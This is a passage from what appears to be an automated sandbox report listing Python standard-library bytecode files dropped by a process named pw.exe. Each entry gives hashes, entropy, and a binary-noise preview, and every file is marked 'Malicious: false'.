Preview:	o.........Sg.a.......................@...sr...d.Z.d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d...Z.d.Z.d.Z.d.Z.g.d...Z.d.g.Z.d.Z.e.d.d.....D.].Z.e...e.....e.e.7.Z.q/[.[.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.d...Z.e.d...Z.e.d...Z.e.d.k.scJ...e.d.e...d...k.smJ...e.d.e...d...k.swJ...d.d...Z.g.d...Z.g.d...Z.d d!..Z.d\d#d$..Z.d%d&..Z d'd(..Z!d)d..Z"d+d,..Z#d-d...Z$d/d0..Z%d1d2..Z&d3d4..Z'd5d6..Z(d7d8..Z)d9d:..Zd;d<..Z+G.d=d>..d>..Z,e,d?..e,_-e,d@dAdBdBdCdD..e,_.e,d.dE..e,_/G.dFdG..dG..Z0e0Z1e0d.d.d...e0_-e0d.dHdI..e0_.e,d.dJ..e0_/G.dKdL..dL..Z2G.dMdN..dNe3..Z4e4Z5[4e2Z6G.dOdP..dP..Z.e.Z7e.d.d.d...e._-e.dAdBdBdC..e._.e,d.dE..e._/G.dQdR..dRe0..Z8e8d.d.d...e8_-e8d.dHdIdAdBdBdC..e8_.e,d.dE..e8_/dSdT..Z9G.dUdV..dVe2..Z:e:.;e,d.....e:_<e:.;e,dAdBdW......e:_-e:.;e,dAdBdW....e:_.e8dXd.d.e:j<dY..Z=z.d.dZl>T.W.n...e?..y.......Y.d.S.w.[.[.[.[.[.[.[=[.[.[.['[([)[%[&[.[*[1[.[.[.[.[ [.[.[9[.[.[.[7[6[![.[+["[$[#[5d.d[l>m.Z...d.S.)]z.Concrete date/time and related types...See http://www.iana.org/time-

C:\recover\pw\Lib\pycache\dis.cpython-310.pyc.75659488

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	15654
Entropy (8bit):	5.4643371794659314
Encrypted:	false
SSDEEP:	384:2Ddin2oDAV888oUZ7tDzEMDfdF6ZSdDz0TxkxVGdAZiVxiEa+0:2DdRoM9UfD6ZBkrYAZiVkEa+0
MD5:	CF8A7FA55919D773D5C7769D2A6C8B5B
SHA1:	74C961D5E77E6C2FD3242602A818BA920F575964
SHA-256:	02A78C275553670D7158B22AF1F294B9E6B43F8448A04A2F407582800E95E681
SHA-512:	4B526062610D587F79C5D95FCE5EEB2211A1E26E8E6B659A983F4F24766FBDA90EF5D561E90559C1D278AC773038AE4FB4C04BC5FE17ED4FCB0687FF3A733CF4
Malicious:	false
Preview:	o.........SgPP.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.d.d.l.m.Z...g.d...e...Z.[.e.j.e.j.e.j.e.e.e.f.Z.e.d...Z.d.e.d.f.e.d.f.e.d.f.f.Z.e.d...Z.d.Z.d.d...Z.dVd.d.d...d.d...Z.dVd.d...d.d...Z.d.d.d.d.d.d.d.d.d.d.d...Z.d d!..Z.d"d#..Z.d$d%..Z.d&d'..Z.d.d...d(d)..Z.e.. dd+..Z!d,e!j"_.d-e!j._.d.e!j#_.d/e!j$_.d0e!j%_.d1e!j&_.d2e!j'_.d3e!j(_.d4Z)d5ZG.d6d7..d7e!..Z+d.d8..d9d:..Z,d;d<..Z-d=d>..Z.....dWd?d@..Z/dXd.d...dBdC..Z0d.d.d...dDdE..Z1....dYd.d.dF..dGdH..Z2dIdJ..Z3e0Z4dKdL..Z5dMdN..Z6dOdP..Z7G.dQdR..dR..Z8dSdT..Z9e:dUk...r.e9....d.S.d.S.)Zz0Disassembler of Python byte code into mnemonics......N)...*)...__all__)...code_info..dis..disassemble..distb..disco..findlinestarts..findlabels..show_code..get_instructions..Instruction..Bytecode..FORMAT_VALUE).N....str..repr..ascii..MAKE_FUNCTION)...defaults..kwdefaults..annotationsZ.closurec....................C...s4...z.t.\|.\|.d...}.W.\|.S...t.y.......t.\|.\|.d...}.Y.\|.S.w.).z.Attempts to compile the given source, fir

C:\recover\pw\Lib\pycache\enum.cpython-310.pyc.32043360

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	26061
Entropy (8bit):	5.283308708855877
Encrypted:	false
SSDEEP:	384:VJTKcmNJ6I61HjkGoQEARW5nV3j412nrp+6s8LY4F8AGK/h3Ec:VFGNJgJEARW3Ea+VZ4F8AGK/Wc
MD5:	61F9E1C23A34FB458427862A98987ACC
SHA1:	B06FB8828D1D461C4F9E08CD3DFBBF83F62793C3
SHA-256:	6B5D738FE1BD5FA7BE3B2F756C629DD5D9A084DDD782CBF552051077AF946E5E
SHA-512:	E63A13647E3AA295F269A4BFC2ED7730FCAD08C85870A9929AAB5CB076DE69B091E51DD705C0B3B3EF909357BC0A1461A9D2D92F617CD0AD9134169058C6853C
Malicious:	false
Preview:	o.........Sg.........................@...s....d.d.l.Z.d.d.l.m.Z.m.Z...g.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e...Z.G.d.d...d...Z.G.d.d...d.e...Z.d.Z.G.d.d...d.e...Z.G.d.d...d.e.d...Z.G.d.d...d.e.e...Z.d.d...Z.G.d.d...d.e...Z.G.d.d...d.e.e...Z.d.d ..Z.d!d"..Z.d#d$..Z.d.S.)%.....N)...MappingProxyType..DynamicClassAttribute)...EnumMeta..Enum..IntEnum..Flag..IntFlag..auto..uniquec....................C...s....t.\|.d...p.t.\|.d...p.t.\|.d...S.).z?. Returns True if obj is a descriptor, False otherwise.. ..__get__..__set__..__delete__)...hasattr)...obj..r......C:\recover\pw\lib\enum.py.._is_descriptor....s..............r....c....................C...sL...t.\|...d.k.o%\|.d.d.....\|.d.d.........k.o.d.k.n.....o%\|.d...d.k.o%\|.d...d.k.S.).z=. Returns True if a __dunder__ name, False otherwise.. .....N..........Z.__.._.........len....namer....r....r......_is_dunder....s......&...........r....c....................C...sL...t.\|...d.k.o%\|.d...\|.d.......k.o.d.k.n.....o%\|.d.d.....d.k.o%\|.d.d

C:\recover\pw\Lib\pycache\fnmatch.cpython-310.pyc.33484256

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	4242
Entropy (8bit):	5.657125917384982
Encrypted:	false
SSDEEP:	96:YZ1NvFl7gPHntns99V7Ry+/63Tq7Y1qYmWVzHRJwZLaL1iCtiOy9:Y1vFl7g/tnsV7g7HzTRbdUV
MD5:	D6442821D3EB2CAB79D763FA1F731400
SHA1:	91CB962FE72E54700F53377645501EBB1472C8AF
SHA-256:	090E191A5113924FA7E3F03CDE6229C90701BBEE9CDA6E7BBE53F89F7D83F1E1
SHA-512:	CEDFD7DD242DA1BFA0EBF50ACFAABD2F2E1B0DF6FCD5E1A170F725AAB3AEEA21F4D5757229F2997E5ED0CD641CC3D919114A133E0A31AF019CACA18906388B6C
Malicious:	false
Preview:	o.........Sg.........................@...s\|...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.d.d.l.m.Z...e...j.Z.[.d.d...Z.e.j.d.d.d...d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.S.).a....Filename matching with shell patterns...fnmatch(FILENAME, PATTERN) matches according to the local convention..fnmatchcase(FILENAME, PATTERN) always takes case in account...The functions operate by translating the pattern into a regular.expression. They cache the compiled regular expressions for speed...The function translate(PATTERN) returns a regular expression.corresponding to PATTERN. (It does not compile it.)......N)...filter..fnmatch..fnmatchcase..translate)...countc....................C...s"...t.j...\|...}.t.j...\|...}.t.\|.\|...S.).a....Test whether FILENAME matches PATTERN... Patterns are Unix shell style:.. * matches everything. ? matches any single character. [seq] matches any character in seq. [!seq] matches any char not in seq.. An initial period in FILENAME is not spec

C:\recover\pw\Lib\pycache\functools.cpython-310.pyc.32044960

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	28333
Entropy (8bit):	5.344664551567672
Encrypted:	false
SSDEEP:	768:zoO3KwoQNi3/sZoyIw/kj6N4V9xI8HkXRssPmCzCe/:zo15QNi30Cj6iV9hHkhsm7me/
MD5:	B8053A55903D2839C358AF0E1AC15F45
SHA1:	74F757B555E4E41D23A399969DEC8F612E2302F9
SHA-256:	3FCE6FCE57F5119139533D81842BE96F2CB9C8197CB20B016B4EACAB7A60DA98
SHA-512:	B7D9359D2EFF06DDF9731A0ABFE0297535BC9EC9C8573845B678454B8E012663625D726E29BE4A46F6FA94681BE08B6382B7536DC815C1E491D4A2E9F1594C4E
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.g.d...Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.Z.d.Z.e.e.f.d.d...Z.e.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d d!..Z.e.f.d"d#..Z.e.f.d$d%..Z.d&e.f.d'e.f.d(e.f.g.d(e.f.d)e.f.d&e.f.g.d)e.f.d(e.f.d'e.f.g.d'e.f.d&e.f.d)e.f.g.d..Z.d+d,..Z.d-d...Z.z.d.d/l m.Z...W.n...e!y.......Y.n.w.e"..Z#e#f.d0d1..Z$z.d.d2l m$Z$..W.n...e!y.......Y.n.w.G.d3d4..d4..Z%z.d.d5l m%Z%..W.n...e!y.......Y.n.w.G.d6d7..d7e"..Z&d8d9..Z'e.d:g.d;....Z(G.d<d=..d=e)..Ze"..f.e+e,h.e-e.e/f.d>d?..Z0dXdBdC..Z1dDdE..Z2z.d.dFl m2Z2..W.n...e!..y;......Y.n.w.dGdH..Z3dIdJ..Z4dYdLdM..Z5dNdO..Z6dPdQ..Z7dRdS..Z8G.dTdU..dU..Z9e"..Z:G.dVdW..dW..Z;dKS.)ZzEfunctools.py - Tools for working with functions and callable objects.)...update_wrapper..wraps..WRAPPER_ASSIGNMENTS..WRAPPER_UPDATES..total_ordering..cache..cmp_to_key..lru_cache..reduce..partial..partialmethod..singledispatch..si

C:\recover\pw\Lib\pycache\genericpath.cpython-310.pyc.29679912

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	3905
Entropy (8bit):	5.155690728166832
Encrypted:	false
SSDEEP:	96:XqsfAs4EvRWosntVf4/zsSQ1ow+2U/tAaDKDj51dmvuoZ:os4jtKyow8/tjgqWoZ
MD5:	3B69B21178C3CFA5DE24576C4DBC2003
SHA1:	C1B0719ED8AE5809214F038DFDF4A6F4E05C102A
SHA-256:	446E5D79FB14D2530B3A6D2680BBA10BBD230E78CF55B64E3EC795590648F4F1
SHA-512:	5B3414D4EA70FDB2CD0E83A2C721121E7BA5278EFAD369F1E8F58E4565D36E5D8420993B4D410FFF3CBC50332C8A42DC255CE1C358400074E77D033A302F36B2
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.d.d.l.Z.d.d.l.Z.g.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.).z..Path operations common to more than one OS.Do not use directly. The OS specific modules import the appropriate.functions from this module themselves.......N)...commonprefix..exists..getatime..getctime..getmtime..getsize..isdir..isfile..samefile..sameopenfile..samestatc....................C...s*...z.t...\|.....W.d.S...t.t.f.y.......Y.d.S.w.).zDTest whether a path exists. Returns False for broken symbolic linksFT)...os..stat..OSError..ValueError)...path..r..... C:\recover\pw\lib\genericpath.pyr........s................r....c....................C....4...z.t...\|...}.W.n...t.t.f.y.......Y.d.S.w.t...\|.j...S.).z%Test whether a path is a regular fileF).r....r....r....r......S_ISREG..st_mode).r......str....r....r....r.........................r....c....................C...r....).z<Return true if the pathname re

C:\recover\pw\Lib\pycache\glob.cpython-310.pyc.75529136

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	5850
Entropy (8bit):	5.131833182875176
Encrypted:	false
SSDEEP:	96:a77f2UQQ4yZsw6LQ4yZs9UfK9BCjbAOp280dqZqh3qX0GqQC7xr8HqRRqhBQoSqj:dXQ7Z4LQ7Z6UC7CjbrpteqZqBqX1qQCW
MD5:	8C6D598EE7D24646CE1571646665ABED
SHA1:	1A28A7A61572B5B329A27B71D31E8178F0093573
SHA-256:	7753703E82113C05AD635E2A964B22CDB1FCD6A18FF84BA6881216CAE0C0A91C
SHA-512:	834F059C71DA80C8125A51D7F7D47922D39C09C053DDE7324234F287B5324E336F9AC2D11D51467E9053DB0739C1E094DF2F697DA0D2B8927B30CE44372A5680
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.d.d.d.d...d.d...Z.d.d.d.d...d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z.e...d"..Z.e...d#..Z.d$d%..Z.d&d'..Z.d(d)..Z.dd+..Z.e.j.e.e.d,d...B.Z d.S.)-z.Filename globbing utility......N)...glob..iglob..escapeF....root_dir..dir_fd..recursivec....................C...s....t.t.\|.\|.\|.\|.d.....S.).ay...Return a list of paths matching a pathname pattern... The pattern may contain simple shell-style wildcards a la. fnmatch. However, unlike fnmatch, filenames starting with a. dot are special cases that are not matched by '' and '?'. patterns... If recursive is true, the pattern '**' will match any files and. zero or more directories and subdirectories.. r....)...listr....)...pathnamer....r....r......r......C:\recover\pw\lib\glob.pyr........s......r....c....................C...s....t...d.\|.\|.....t...d.\|.\|.\|

C:\recover\pw\Lib\pycache\hashlib.cpython-310.pyc.39529792

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	6843
Entropy (8bit):	5.591645112836145
Encrypted:	false
SSDEEP:	96:ZdPjhwzUgQUdROKh0WXI7dQia/XG6s1t6iojyyt8NQCcx54bNdO9DF4irm/tMm6u:ZRmE5+odQiafGJ1tv4OmVP/4XbJ4nJ0
MD5:	790EB42F4B3A58806E802293F0D7DFCC
SHA1:	C41A71EDC57C36B1F51B02C8409BFFF28DA9BC79
SHA-256:	E6F0AA0D5F8CFDB5207759D9A4EA9A5EA2AF9F17933B3B3B2E98240C4B3D2199
SHA-512:	9A021052DF2137FE19751333B4F17E0850FD7A909951467A91ECC14C8EA4EF3BDC329715F1C17CA70E430ADEF268B1412F9B447F0FE6B04AC13AAD0AEBF58284
Malicious:	false
Preview:	o.........Sg.).......................@...sl...d.Z.d.Z.e.e...Z.e.e...Z.e.d...Z.i.Z.d.d.h.Z.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.z.d.d.l.Z.e.Z.e.Z.e...e.j...Z.W.n...e.yG......d.Z.e.Z.e.Z.Y.n.w.z.d.d.l.m.Z...W.n..e.yz......d.d.l.m.Z...e.d.d...e.d...D.....Z.e.d.d...e.d...D.....Z.d.d.d...Z.Y.n.w.z.d.d.l.m.Z...W.n...e.y.......Y.n.w.e.D.].Z.z.e.e...e...e.<.W.q...e.y.......d.d.l.Z.e...d.e.....Y.q.w.[.[.[.[.[.[.d.S.).a3...hashlib module - A common interface to many hash functions...new(name, data=b'', *kwargs) - returns a new hash object implementing the. given hash function; initializing the hash. using the given binary data...Named constructor functions are also available, these are faster.than using new(name):..md5(), sha1(), sha224(), sha256(), sha384(), sha512(), blake2b(), blake2s(),.sha3_224, sha3_256, sha3_384, sha3_512, shake_128, and shake_256...More algorithms may be available on your platform but the above are guaranteed

C:\recover\pw\Lib\pycache\heapq.cpython-310.pyc.40061552

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	13863
Entropy (8bit):	5.350361064161332
Encrypted:	false
SSDEEP:	192:3nqTYZnQtot7ItafyjjWya/PXjFGRxibJWiTqe0hN2leov+Ugn:3nEYZn0ot7It7j3aXjgRxiM0uN2kk+/n
MD5:	6B6F44B9D1696E20F3570C8A678AC54C
SHA1:	9F47FDD2D71E53F9C224BCD4EEC936A4C1FDFF15
SHA-256:	18205C2201BC94F30F4D8A95CE1E5315D9FA149CEC3B0E52C027DD3D4512C03B
SHA-512:	5B87EC15B609DC1A268B0BD38B908C4B57D19BDA3ACD9719D7DD0734ED04A85AD83955E4B9015811AC924C5A511352A7D50695AFD209BE56D86CAC34E98F0945
Malicious:	false
Preview:	o.........Sg.[.......................@...sD...d.Z.d.Z.g.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d.d...d.d...Z.dd d!..Z.dd"d#..Z.z.d$d%l.T.W.n...e.yY......Y.n.w.z.d$d&l.m.Z...W.n...e.yk......Y.n.w.z.d$d'l.m.Z...W.n...e.y}......Y.n.w.z.d$d(l.m.Z...W.n...e.y.......Y.n.w.e.d)k.r.d$d.l.Z.e.e.........d.S.d.S.)+a....Heap queue algorithm (a.k.a. priority queue)...Heaps are arrays for which a[k] <= a[2k+1] and a[k] <= a[2k+2] for.all k, counting elements from 0. For the sake of comparison,.non-existing elements are considered to be infinite. The interesting.property of a heap is that a[0] is always its smallest element...Usage:..heap = [] # creates an empty heap.heappush(heap, item) # pushes a new item on the heap.item = heappop(heap) # pops the smallest item from the heap.item = heap[0] # smallest item on the heap without popping it.heapify(x) # transforms list into a heap, in-place, in linear time

C:\recover\pw\Lib\pycache\hmac.cpython-310.pyc.39529792

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	6971
Entropy (8bit):	5.291415621513426
Encrypted:	false
SSDEEP:	192:WcFTSdeLSo3yfjb/3xXrCx5PgT1nxc203AbC:WcFT0eLhyX1K5S1nv0QbC
MD5:	E6EA7C23853724ED5120A070472BF7A0
SHA1:	8E4732EDCE9B2AC4C827872110CB4CECA9F646E4
SHA-256:	DF25857CDBF94C46A0D3C2E313F363C957ABD35A347E3FF274D0C30FFCED7423
SHA-512:	A297CDF51D06A84931E8E574A5CA68B53F3AB4A7F1070A9C6C377B280D7AA679B08CB16113C43E733922979F0CE2812413A5C17E93550378A3AA670C98988DA3
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.d.d.l.Z.z.d.d.l.Z.W.n...e.y.......d.Z.d.Z.d.d.l.m.Z...Y.n.w.e.j.Z.e.e.j...Z.d.d.l.Z.e.d.d...e.d...D.....Z.e.d.d...e.d...D.....Z.d.Z.G.d.d...d...Z.d.d.d...Z.d.d...Z.d.S.).zqHMAC (Keyed-Hashing for Message Authentication) module...Implements the HMAC algorithm as described by RFC 2104.......N)..._compare_digestc....................c..........\|.].}.\|.d.A.V...q.d.S.)..\...N.......0..xr....r......C:\recover\pw\lib\hmac.py..<genexpr>.............r.........c....................c...r....)..6...Nr....r....r....r....r....r........r....c....................@...sf...e.Z.d.Z.d.Z.d.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.e.d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...HMACz~RFC 2104 HMAC class. Also complies with RFC 4231... This supports the API for Cryptographic Hash Functions (PEP 247).. .@...)..._hmac.._inner.._outer..block_size..digest_sizeN..c....................C...s....t.\|.t.t.f...s.t.d.t.\|...j.......\|.s.t.d.....t.r<t.\|.t.t.f...r<z

C:\recover\pw\Lib\pycache\inspect.cpython-310.pyc.75659088

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	85151
Entropy (8bit):	5.48938120856268
Encrypted:	false
SSDEEP:	1536:URc0NzW1X0tJcqYqOWjXHdV352ox842jTk9VBbL+xSjiN2TjJXTpsWTp5JQVXiG0:URvtW1o737HdV35KNPKmwHtQVSG82IQk
MD5:	FA4430EF84ED013E1AF693C6C0FA77DF
SHA1:	C3BAB84506A05D559110672411CC1587D2F8F96F
SHA-256:	F57EFCF5F5A2D83DADB11FA9141925432FDABADF026AAFD3C76A38CB8D7FC397
SHA-512:	68F1EB1201CF9AFC4032199793FC8967FC728FF1D0814F89647F8B7F256773A28FF712DC129ED72DDF2A79E3DA5E16E73B704C28EEE4E9E9944B1B4B75238A14
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...e...Z.e.j.....D.].\.Z.Z.e.e.d.e...<.q^d.Z.d.d.d.d...d.d...Z d.d...Z!d.d...Z"d.d...Z#d.d...Z$d.d...Z%e&e.d...r.d.d...Z'n.d.d...Z'e&e.d...r.d.d...Z(n.d.d...Z(d.d...Z)d d!..Zd"d#..Z+d$d%..Z,d&d'..Z-d(d)..Z.dd+..Z/d,d-..Z0d.d/..Z1d0d1..Z2d2d3..Z3d4d5..Z4d6d7..Z5d8d9..Z6d:d;..Z7d.d<d=..Z8e.d>d?..Z9d@dA..Z:dBdC..Z;d.dD..dEdF..Z<dGdH..Z=dIdJ..Z>dKdL..Z?dMdN..Z@dOdP..ZAdQdR..ZBdSdT..ZCdUdV..ZDd.dWdX..ZEi.ZFi.ZGd.dYdZ..ZHG.d[d\..d\eI..ZJG.d]d^..d^e.jK..ZLd_d`..ZMdadb..ZNG.dcdd..ddeI..ZOG.dedf..df..ZPdgdh..ZQdidj..ZRdkdl..ZSdmdn..ZTd.dodp..ZUe.dqdr..ZVdsdt..ZWe.dudv..ZXdwdx..ZYe.dydz..ZZd{d\|..Z[e.d}d~..Z\d.d...Z]d.d.d...Z^d.d...Z_d.d.d.d.i.i.e`d.d...d.d...d.d...d.d...e^f.d.d...Zae`d.d...d.d...d.d...f.d.d...Zbd.d...Zcd.d...Zdd.d...Zee.d.d...Zfd.d...Zge.d.d...Zhd.d.d...Zid.d...Zje.

C:\recover\pw\Lib\pycache\io.cpython-310.pyc.23165232

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	3661
Entropy (8bit):	5.382700116002142
Encrypted:	false
SSDEEP:	48:neBVAsKEv1YlurRNZsmi/VA61vWF/3+XIQjC2Ai3QuAXuhgwGgdPOcGcMzzMfSWI:AK0iSxOmoWF2vLAy/hygdP7GcmYa7RXn
MD5:	A7B4A7E1E6D4F4B38A12C16337854F04
SHA1:	C04CC06D7F825DDDC4C38B1010743A5158BEC881
SHA-256:	6C64CA2F46A9AA5EC2C0763C81A9ED6EA727E3C18B7750FF896024598DC124FD
SHA-512:	9C08B14544B7D0171BCB4B4061308922D5CDA959850E85ADE95F92C8F57413D1E0D5A0753E553164E0CBFD4000226C8D5B57CFE4202A4AA6FBD33FCF4155D7BB
Malicious:	false
Preview:	o.........Sg.........................@...sH...d.Z.d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d...Z.d.e._.d.Z.d.Z.d.Z.G.d.d...d.e.j.e.j.d...Z.G.d.d...d.e.j.e...Z.G.d.d...d.e.j.e...Z.G.d.d...d.e.j e...Z!e.."e.....e.e.e.e.e.f.D.].Z#e.."e#....que.e.f.D.].Z#e!."e#....q.[#z.d.d.l.m$Z$..W.n...e%y.......Y.d.S.w.e.."e$....d.S.).a....The io module provides the Python interfaces to stream handling. The.builtin open function is defined in this module...At the top of the I/O hierarchy is the abstract base class IOBase. It.defines the basic interface to a stream. Note, however, that there is no.separation between reading and writing to streams; implementations are.allowed to raise an OSError if they do not support a given operation...Extending IOBase is RawIOBase which deals simply with the reading and.writing of raw bytes to a stream. FileIO subclasses RawIOBase to provide.an interface to OS files...BufferedIOBase deals with buffering on a raw

C:\recover\pw\Lib\pycache\ipaddress.cpython-310.pyc.66019600

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	61449
Entropy (8bit):	5.3054842700679306
Encrypted:	false
SSDEEP:	1536:tZqqs3deqQmjuqJqq9qhIOGqaqzIVqOq/sqmqeXWqJqZqoqfqEqNqqBNqzSq2qfe:kamjPaWNFGc81veYm1o4Jg5wLlf8x7LR
MD5:	43130A3BCF5C30A83C819445F90772A5
SHA1:	EB5AE498E61F41F1434B54C7CC209CE1D0AF2E60
SHA-256:	100535EC26C52F57DFF3C66EB5E3BB2A5BDCF0B69FBC96A74F7171B9569D5EC0
SHA-512:	EB296CC7B8D599793583E5D6C4118F52C2F1A97784E6CEA61D990E2812D44FF851CA0CEDB34DEE50A9CCBB9D0E4F88E5AF91124B5064425746EC8EC2DDD897E1
Malicious:	false
Preview:	o.........Sg.,.......................@...s....d.Z.d.Z.d.d.l.Z.d.Z.d.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.d...Z.d=d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d ..Z.d!d"..Z.G.d#d$..d$..Z.d.a.e.j.G.d%d&..d&e.....Z.e.j.G.d'd(..d(e.....Z.G.d)d..d..Z.G.d+d,..d,e.e...Z.G.d-d...d.e...Z.G.d/d0..d0e.e...Z.G.d1d2..d2..Z.e.e._.G.d3d4..d4..Z.G.d5d6..d6e.e...Z G.d7d8..d8e ..Z!G.d9d:..d:e.e...Z"G.d;d<..d<..Z#e#e _.d.S.)>z.A fast, lightweight IPv4/IPv6 manipulation library in Python...This library is used to create/poke/manipulate IPv4 and IPv6 addresses.and networks...z.1.0.....N. .......c....................@........e.Z.d.Z.d.Z.d.S.)...AddressValueErrorz%A Value Error related to the address.N....__name__..__module__..__qualname__..__doc__..r....r......C:\recover\pw\lib\ipaddress.pyr.................r....c....................@...r....)...NetmaskValueErrorz%A Value Error related to the netmask.Nr....r....r....r....r....r........r....r....c....................C....R...z.

C:\recover\pw\Lib\pycache\keyword.cpython-310.pyc.32045440

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	925
Entropy (8bit):	5.365589529271905
Encrypted:	false
SSDEEP:	24:bBMgKEVTSAvFwzVCI0L67avc0Kb4S0bJB6R/uu:bzVu8wzVmxcZt0bJB65b
MD5:	0F2505AA2284732ABE6C436A90E11008
SHA1:	767AA8E13931B99AEC1E0B3A307DC0E59F85919D
SHA-256:	CC363E6434315EAEAF6947D4D5E6FAC22D26E6699746574F6A006B171408DCB7
SHA-512:	7B5D9F90C806FA5C98B677CADC25900810FBF28B756D95A7050A5FB12DB3F661E791EDDA53D0F504A470F536258FD7FCEED234554BFFCA206BA518F4ED360A53
Malicious:	false
Preview:	o.........Sgd........................@...s4...d.Z.g.d...Z.g.d...Z.g.d...Z.e.e...j.Z.e.e...j.Z.d.S.).a....Keywords (from "Grammar/python.gram")..This file is automatically generated; please don't muck it up!..To update the symbols in this file, 'cd' to the top directory of.the python source tree and run:.. PYTHONPATH=Tools/peg_generator python3 -m pegen.keywordgen Grammar/python.gram Grammar/Tokens Lib/keyword.py..Alternatively, you can run 'make regen-keyword'..)...iskeyword..issoftkeyword..kwlist..softkwlist)#..False..None..TrueZ.andZ.asZ.assertZ.asyncZ.awaitZ.breakZ.classZ.continueZ.defZ.delZ.elifZ.elseZ.exceptZ.finallyZ.forZ.fromZ.globalZ.ifZ.import..inZ.is..lambdaZ.nonlocalZ.notZ.orZ.passZ.raise..returnZ.tryZ.whileZ.withZ.yield)..._Z.case..matchN)...__doc__..__all__r....r......frozenset..__contains__r....r......r....r......C:\recover\pw\lib\keyword.py..<module>....s...........&....

C:\recover\pw\Lib\pycache\linecache.cpython-310.pyc.33688496

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	4140
Entropy (8bit):	5.309477118861057
Encrypted:	false
SSDEEP:	96:8Z1XLppmx0pYUG0wzU182J691Tc7mh5ae7y8:APyN10wzg6TTc7mh5vD
MD5:	A949B95A54A22D464F1112192B3D89A3
SHA1:	5F0B87EC1B8BAA2173EE8C667D7152AEA0E19EF2
SHA-256:	7668EBFD7AC0C719ED639AD42A6B0A846B48C243CB3DE09324D0B5CFAC125092
SHA-512:	D8F2DC9BC8C5966904CD8BA415F8E6F2B3A82A2B09065CB538D7C6F4B4AB486C3B57371BF81867E2BA65A2CF509F30D8005595AC5EE8CA5EF5A0ABEAD881553D
Malicious:	false
Preview:	o.........Sg.........................@...sl...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.i.Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.d.S.).z.Cache lines from Python source files...This is intended to read lines from modules imported -- hence if a filename.is not found, it will look down the module search path for a file by.that name.......N)...getline..clearcache..checkcache..lazycachec....................C...s....t.......d.S.).z.Clear the cache entirely.N)...cache..clear..r....r......C:\recover\pw\lib\linecache.pyr........s......r....c....................C...s8...t.\|.\|...}.d.\|.....k.r.t.\|...k.r.n...d.S.\|.\|.d.....S.d.S.).z~Get a line for a Python source file from the cache.. Update the cache if it doesn't contain an entry for this file already........)...getlines..len)...filename..lineno..module_globals..linesr....r....r....r........s..............r....c....................C...sR...\|.t.v.r.t.\|...}.t.\|...d.k.r.t.\|...d...S.z.t.\|.\|...W.S...t.y(......t.....g...Y.S.w.).z

C:\recover\pw\Lib\pycache\locale.cpython-310.pyc.39028880

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	46163
Entropy (8bit):	6.0618184837566185
Encrypted:	false
